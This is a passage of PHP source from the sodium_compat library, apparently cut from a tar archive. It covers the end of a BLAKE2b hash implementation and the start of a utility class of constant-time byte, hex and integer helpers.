            $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1);
        } else {
            $l1 = (int) ($x[0]) >> ($c1 - 32);
        }

        return self::new64($h0 | $h1, $l0 | $l1);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @return int
     * @psalm-suppress MixedOperand
     */
    protected static function flatten64($x)
    {
        return (int) ($x[0] * 4294967296 + $x[1]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    protected static function load64(SplFixedArray $x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param SplFixedArray $u
     * @return void
     * @psalm-suppress MixedAssignment
     */
    protected static function store64(SplFixedArray $x, $i, SplFixedArray $u)
    {
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            /*
               [0, 1, 2, 3, 4, 5, 6, 7]
                    ... becomes ...
               [0, 0, 0, 0, 1, 1, 1, 1]
            */
            /** @var int $uIdx */
            $uIdx = ((7 - $j) & 4) >> 2;
            $x[$i]   = ((int) ($u[$uIdx]) & 0xff);
            if (++$i > $maxLength) {
                return;
            }
            /** @psalm-suppress MixedOperand */
            $u[$uIdx] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (self::flatten64($ctx[1][0]) < $inc) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            $ctx[3][$i+$ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );
        if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     * @psalm-suppress MixedArgumentTypeCoercion
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     * @throws TypeError
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, int|string> $arr
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, array<int, int>> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $str .= self::store32_le($ctxA[$i][1]);
            $str .= self::store32_le($ctxA[$i][0]);
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctxA = $ctx[$i]->toArray();
            $str .= self::store32_le($ctxA[0][1]);
            $str .= self::store32_le($ctxA[0][0]);
            $str .= self::store32_le($ctxA[1][1]);
            $str .= self::store32_le($ctxA[1][0]);
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = (int) $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements, from
     * a string (compatible with \Sodium\crypto_generichash_{init, update, final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = SplFixedArray::fromArray(
                array(
                    self::load_4(
                        self::substr($string, (($i << 3) + 4), 4)
                    ),
                    self::load_4(
                        self::substr($string, (($i << 3) + 0), 4)
                    )
                )
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)),
                    self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4))
                )
            );
            $ctx[$i][0] = SplFixedArray::fromArray(
                array(
                    self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)),
                    self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4))
                )
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i << 3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
Core/Util.php000064400000070373151024233030007065 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Util', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Util
 */
abstract class ParagonIE_Sodium_Core_Util
{
    const U32_MAX = 0xFFFFFFFF;

    /**
     * @param int $integer
     * @param int $size (16, 32, 64)
     * @return int
     */
    public static function abs($integer, $size = 0)
    {
        /** @var int $realSize */
        $realSize = (PHP_INT_SIZE << 3) - 1;
        if ($size) {
            --$size;
        } else {
            /** @var int $size */
            $size = $realSize;
        }

        $negative = -(($integer >> $size) & 1);
        return (int) (
            ($integer ^ $negative)
                +
            (($negative >> $realSize) & 1)
        );
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     * @throws SodiumException
     */
    public static function andStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }
        $len = self::strlen($a);
        if (self::strlen($b) !== $len) {
            throw new SodiumException('Both strings must be of equal length to combine with bitwise AND');
        }
        return $a & $b;
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $binaryString (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hex($binaryString)
    {
        /* Type checks: */
        if (!is_string($binaryString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($binaryString) . ' given.');
        }

        $hex = '';
        $len = self::strlen($binaryString);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $binaryString[$i]);
            /** @var int $c */
            $c = $chunk[1] & 0xf;
            /** @var int $b */
            $b = $chunk[1] >> 4;
            $hex .= pack(
                'CC',
                (87 + $b + ((($b - 10) >> 8) & ~38)),
                (87 + $c + ((($c - 10) >> 8) & ~38))
            );
        }
        return $hex;
    }

    /**
     * Convert a binary string into a hexadecimal string without cache-timing
     * leaks, returning uppercase letters (as per RFC 4648)
     *
     * @internal You should not use this directly from another application
     *
     * @param string $bin_string (raw binary)
     * @return string
     * @throws TypeError
     */
    public static function bin2hexUpper($bin_string)
    {
        $hex = '';
        $len = self::strlen($bin_string);
        for ($i = 0; $i < $len; ++$i) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C', $bin_string[$i]);
            /**
             * Lower 16 bits
             *
             * @var int $c
             */
            $c = $chunk[1] & 0xf;

            /**
             * Upper 16 bits
             * @var int $b
             */
            $b = $chunk[1] >> 4;

            /**
             * Use pack() and binary operators to turn the two integers
             * into hexadecimal characters. We don't use chr() here, because
             * it uses a lookup table internally and we want to avoid
             * cache-timing side-channels.
             */
            $hex .= pack(
                'CC',
                (55 + $b + ((($b - 10) >> 8) & ~6)),
                (55 + $c + ((($c - 10) >> 8) & ~6))
            );
        }
        return $hex;
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param string $chr
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function chrToInt($chr)
    {
        /* Type checks: */
        if (!is_string($chr)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($chr) . ' given.');
        }
        if (self::strlen($chr) !== 1) {
            throw new SodiumException('chrToInt() expects a string that is exactly 1 character long');
        }
        /** @var array<int, int> $chunk */
        $chunk = unpack('C', $chr);
        return (int) ($chunk[1]);
    }

    /**
     * Compares two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @param int $len
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function compare($left, $right, $len = null)
    {
        $leftLen = self::strlen($left);
        $rightLen = self::strlen($right);
        if ($len === null) {
            $len = max($leftLen, $rightLen);
            $left = str_pad($left, $len, "\x00", STR_PAD_RIGHT);
            $right = str_pad($right, $len, "\x00", STR_PAD_RIGHT);
        }

        $gt = 0;
        $eq = 1;
        $i = $len;
        while ($i !== 0) {
            --$i;
            $gt |= ((self::chrToInt($right[$i]) - self::chrToInt($left[$i])) >> 8) & $eq;
            $eq &= ((self::chrToInt($right[$i]) ^ self::chrToInt($left[$i])) - 1) >> 8;
        }
        return ($gt + $gt + $eq) - 1;
    }

    /**
     * If a variable does not match a given type, throw a TypeError.
     *
     * @param mixed $mixedVar
     * @param string $type
     * @param int $argumentIndex
     * @throws TypeError
     * @throws SodiumException
     * @return void
     */
    public static function declareScalarType(&$mixedVar = null, $type = 'void', $argumentIndex = 0)
    {
        if (func_num_args() === 0) {
            /* Tautology, by default */
            return;
        }
        if (func_num_args() === 1) {
            throw new TypeError('Declared void, but passed a variable');
        }
        $realType = strtolower(gettype($mixedVar));
        $type = strtolower($type);
        switch ($type) {
            case 'null':
                if ($mixedVar !== null) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be null, ' . $realType . ' given.');
                }
                break;
            case 'integer':
            case 'int':
                $allow = array('int', 'integer');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an integer, ' . $realType . ' given.');
                }
                $mixedVar = (int) $mixedVar;
                break;
            case 'boolean':
            case 'bool':
                $allow = array('bool', 'boolean');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a boolean, ' . $realType . ' given.');
                }
                $mixedVar = (bool) $mixedVar;
                break;
            case 'string':
                if (!is_string($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a string, ' . $realType . ' given.');
                }
                $mixedVar = (string) $mixedVar;
                break;
            case 'decimal':
            case 'double':
            case 'float':
                $allow = array('decimal', 'double', 'float');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be a float, ' . $realType . ' given.');
                }
                $mixedVar = (float) $mixedVar;
                break;
            case 'object':
                if (!is_object($mixedVar)) {
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an object, ' . $realType . ' given.');
                }
                break;
            case 'array':
                if (!is_array($mixedVar)) {
                    if (is_object($mixedVar)) {
                        if ($mixedVar instanceof ArrayAccess) {
                            return;
                        }
                    }
                    throw new TypeError('Argument ' . $argumentIndex . ' must be an array, ' . $realType . ' given.');
                }
                break;
            default:
                throw new SodiumException('Unknown type (' . $realType .') does not match expect type (' . $type . ')');
        }
    }

    /**
     * Evaluate whether or not two strings are equal (in constant-time)
     *
     * @param string $left
     * @param string $right
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hashEquals($left, $right)
    {
        /* Type checks: */
        if (!is_string($left)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($left) . ' given.');
        }
        if (!is_string($right)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($right) . ' given.');
        }

        if (is_callable('hash_equals')) {
            return hash_equals($left, $right);
        }
        $d = 0;
        /** @var int $len */
        $len = self::strlen($left);
        if ($len !== self::strlen($right)) {
            return false;
        }
        for ($i = 0; $i < $len; ++$i) {
            $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]);
        }

        if ($d !== 0) {
            return false;
        }
        return $left === $right;
    }

    /**
     * Catch hash_update() failures and throw instead of silently proceeding
     *
     * @param HashContext|resource &$hs
     * @param string $data
     * @return void
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument
     */
    protected static function hash_update(&$hs, $data)
    {
        if (!hash_update($hs, $data)) {
            throw new SodiumException('hash_update() failed');
        }
    }

    /**
     * Convert a hexadecimal string into a binary string without cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $hexString
     * @param string $ignore
     * @param bool $strictPadding
     * @return string (raw binary)
     * @throws RangeException
     * @throws TypeError
     */
    public static function hex2bin($hexString, $ignore = '', $strictPadding = false)
    {
        /* Type checks: */
        if (!is_string($hexString)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($hexString) . ' given.');
        }
        if (!is_string($ignore)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($hexString) . ' given.');
        }

        $hex_pos = 0;
        $bin = '';
        $c_acc = 0;
        $hex_len = self::strlen($hexString);
        $state = 0;
        if (($hex_len & 1) !== 0) {
            if ($strictPadding) {
                throw new RangeException(
                    'Expected an even number of hexadecimal characters'
                );
            } else {
                $hexString = '0' . $hexString;
                ++$hex_len;
            }
        }

        $chunk = unpack('C*', $hexString);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            /** @var int $c */
            $c = $chunk[$hex_pos];
            $c_num = $c ^ 48;
            $c_num0 = ($c_num - 10) >> 8;
            $c_alpha = ($c & ~32) - 55;
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                if ($ignore && $state === 0 && strpos($ignore, self::intToChr($c)) !== false) {
                    continue;
                }
                throw new RangeException(
                    'hex2bin() only expects hexadecimal characters'
                );
            }
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        return $bin;
    }

    /**
     * Turn an array of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $ints
     * @return string
     */
    public static function intArrayToString(array $ints)
    {
        $args = $ints;
        foreach ($args as $i => $v) {
            $args[$i] = (int) ($v & 0xff);
        }
        array_unshift($args, str_repeat('C', count($ints)));
        return (string) (call_user_func_array('pack', $args));
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function intToChr($int)
    {
        return pack('C', $int);
    }

    /**
     * Load a 3 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_3($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 3) {
            throw new RangeException(
                'String must be 3 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string . "\0");
        return (int) ($unpacked[1] & 0xffffff);
    }

    /**
     * Load a 4 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_4($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string);
        return (int) $unpacked[1];
    }

    /**
     * Load a 8 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64_le($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' . self::strlen($string) . ' given.'
            );
        }
        if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) {
            /** @var array<int, int> $unpacked */
            $unpacked = unpack('P', $string);
            return (int) $unpacked[1];
        }

        /** @var int $result */
        $result  = (self::chrToInt($string[0]) & 0xff);
        $result |= (self::chrToInt($string[1]) & 0xff) <<  8;
        $result |= (self::chrToInt($string[2]) & 0xff) << 16;
        $result |= (self::chrToInt($string[3]) & 0xff) << 24;
        $result |= (self::chrToInt($string[4]) & 0xff) << 32;
        $result |= (self::chrToInt($string[5]) & 0xff) << 40;
        $result |= (self::chrToInt($string[6]) & 0xff) << 48;
        $result |= (self::chrToInt($string[7]) & 0xff) << 56;
        return (int) $result;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function memcmp($left, $right)
    {
        if (self::hashEquals($left, $right)) {
            return 0;
        }
        return -1;
    }

    /**
     * Multiply two integers in constant-time
     *
     * Micro-architecture timing side-channels caused by how your CPU
     * implements multiplication are best prevented by never using the
     * multiplication operators and ensuring that our code always takes
     * the same number of operations to complete, regardless of the values
     * of $a and $b.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $size Limits the number of operations (useful for small,
     *                  constant operands)
     * @return int
     */
    public static function mul($a, $b, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return (int) ($a * $b);
        }

        static $defaultSize = null;
        /** @var int $defaultSize */
        if (!$defaultSize) {
            /** @var int $defaultSize */
            $defaultSize = (PHP_INT_SIZE << 3) - 1;
        }
        if ($size < 1) {
            /** @var int $size */
            $size = $defaultSize;
        }
        /** @var int $size */

        $c = 0;

        /**
         * Mask is either -1 or 0.
         *
         * -1 in binary looks like 0x1111 ... 1111
         *  0 in binary looks like 0x0000 ... 0000
         *
         * @var int
         */
        $mask = -(($b >> ((int) $defaultSize)) & 1);

        /**
         * Ensure $b is a positive integer, without creating
         * a branching side-channel
         *
         * @var int $b
         */
        $b = ($b & ~$mask) | ($mask & -$b);

        /**
         * Unless $size is provided:
         *
         * This loop always runs 32 times when PHP_INT_SIZE is 4.
         * This loop always runs 64 times when PHP_INT_SIZE is 8.
         */
        for ($i = $size; $i >= 0; --$i) {
            $c += (int) ($a & -($b & 1));
            $a <<= 1;
            $b >>= 1;
        }
        $c = (int) @($c & -1);

        /**
         * If $b was negative, we then apply the same value to $c here.
         * It doesn't matter much if $a was negative; the $c += above would
         * have produced a negative integer to begin with. But a negative $b
         * makes $b >>= 1 never return 0, so we would end up with incorrect
         * results.
         *
         * The end result is what we'd expect from integer multiplication.
         */
        return (int) (($c & ~$mask) | ($mask & -$c));
    }

    /**
     * Convert any arbitrary numbers into two 32-bit integers that represent
     * a 64-bit integer.
     *
